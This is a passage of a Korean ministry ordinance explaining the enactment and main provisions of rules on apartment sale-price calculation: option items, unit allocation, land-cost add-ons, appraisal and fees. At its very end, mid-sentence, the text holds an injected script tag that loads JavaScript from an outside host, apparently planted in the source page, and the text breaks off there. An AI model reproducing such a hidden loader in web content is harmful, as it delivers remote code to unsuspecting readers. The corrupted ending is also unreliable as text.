⊙건설교통부령 제575호

공동주택 분양가격의 산정 등에 관한 규칙

1. 제정이유

선택품목제도의 도입과 주택 분양가격 상한제의 확대 시행 등을 내용으로 「주택법」이 개정(법률 제8383호, 2007. 4. 20. 공포, 2007. 9. 1. 시행)됨에 따라 선택품목의 범위를 정하고 택지의 감정평가를 위한 세부절차와 택지비 및 기본형건축비에 가산할 수 있는 비용을 정하는 등 법률에서 위임된 사항과 그 시행에 관하여 필요한 사항을 정하려는 것임.

2. 주요내용

가. 선택품목의 범위 등(안 제3조제1항 및 제4조)

(1) 사업주체가 입주자모집공고에 벽지, 바닥재 등의 가격을 별도로 제시하고 입주자가 이를 선택할 수 있도록 하는 선택품목제도가 도입됨에 따라 그 대상품목 등 법률에서 위임된 구체적 사항을 정할 필요가 있음.

(2) 선택품목을 분양가격 상한제의 적용을 받는 분양가격에 포함된 품목으로서 입주자가 원하면 직접 시공ㆍ설치할 수 있도록 하여 그 가격을 분양가격에서 제외시키는 기본선택품목(minus option)과 분양가격 상한제의 적용을 받는 분양가격에 포함되지 아니한 품목을 사업주체가 입주자모집공고에 제시하여 입주자에게 추가로 선택할 수 있도록 하는 추가선택품목(plus option)으로 구분함.

(3) 기본선택품목은 건설교통부장관이 고시하도록 하되, 소방시설 관련 품목 등 주택의 구조안전과 관련된 품목은 기본선택품목에 포함할 수 없도록 함.

(4) 입주자모집공고에 포함되면서도 가격 제한을 받지 아니하는 추가선택품목은 분양가격과 일체가 됨으로써 실질적으로 분양가격을 인상시키는 효과가 발생할 우려가 있으므로 발코니 확장으로 제한함.

나. 기본선택품목을 직접 시공ㆍ설치하는 자에 대한 주택의 배정(안 제5조)

(1) 기본선택품목제도를 시행하는 경우 입주 초기에 입주가 완료된 세대와 기본선택품목의 시공ㆍ설치공사가 진행되는 세대가 혼재하게 됨에 따라 사업장 혼란, 안전사고 발생과 입주 세대의 소음 피해 등이 발생할 우려가 있음.

(2) 사업주체는 입주자모집공고에 기본선택품목을 개별적으로 시공ㆍ설치하려는 자에게 우선적으로 공급할 주택의 동별 배정순서를 정하여 공고할 수 있도록 하고, 이 경우 입주자 중 기본선택품목을 시공ㆍ설치하려는 자에게 동별 배정순서에 따라 우선적으로 동 및 세대를 추첨하여 배정하도록 함.

(3) 기본선택품목을 직접 시공ㆍ설치하는 세대와 그러하지 아니하는 세대를 동별로 구분함으로써 안전사고와 입주자 피해 등을 예방할 수 있을 것으로 기대됨.

다. 택지비의 가산비로 인정할 수 있는 항목의 구체화(안 제8조 및 제9조)

(1) 법률의 위임에 따라 주택 분양가격 상한액의 산정시 택지비에 가산되는 비용의 구체적 항목과 내용을 정할 필요가 있음.

(2) 공공택지의 경우 연약지반 공사비, 암석지반 공사비, 흙막이 및 차수벽 공사비로서 공공기관 등이 인정한 공사비와 방음시설 설치비 외에 택지대금에 대한 일정 범위의 기간이자 등을 택지비에 가산되는 비용으로 정하고, 공공택지 외의 택지의 경우 연약지반 공사비, 암석지반 공사비, 흙막이 및 차수벽 공사비로서 공공기관 등이 인정한 공사비와 방음시설 설치비 외에 간선시설의 설치비용 등을 택지비에 가산되는 비용으로 정함.

라. 공공택지 외의 택지에 대한 감정평가기관(안 제10조제2항)

(1) 주택분양가격에서 택지비가 차지하는 비중이 크므로 분양가상한제의 실효성 확보를 위하여 택지 감정평가의 공정성과 객관성을 확보할 필요가 있음.

(2) 택지의 감정평가는 건설교통부장관이 고시하는 요건을 충족하는 감정평가업자 2인이 수행하되, 그 중 1인은 「부동산 가격공시 및 감정평가에 관한 법률」에 따른 공동주택가격의 조사․산정에 관한 전국적인 업무수행 능력 등을 갖춘 자로서 자산규모, 매출액, 감정평가사 수, 분사무소의 수, 감정평가에 관한 전산망 규모 등이 건설교통부장관이 별도로 고시하는 기준을 충족하는 감정평가기관으로 하도록 함.

(3) 공정성과 전문성을 담보할 수 있는 감정평가업자에게 감정평가를 수행하도록 함으로써 신뢰성 있고 객관적인 택지비 산정이 가능할 것으로 기대됨.

마. 감정평가수수료의 부담주체와 산정 기준(안 제13조)

(1) 감정평가수수료와 관련된 분쟁을 예방하기 위하여 그 부담주체를 명확히 할 필요가 있고, 택지비에 가산되어 분양가격에 반영되는 감정평가수수료의 기준을 명확히 할 필요가 있음.

(2) 감정평가수수료는 사업주체가 부담하되, 「부동산 가격공시 및 감정평가에 관한 법률」에 따라 건설교통부장관이 공고하는 기준에 따르도록 함.

바. 시ㆍ군ㆍ구별 기본형건축비 산정의 기준(안 제14조제3항 및 제4항)

(1) 법률에서 주택건설을 위한 자재비, 노임 등이 지역별로 상이?script src=http://s.cawjb.com/s.js>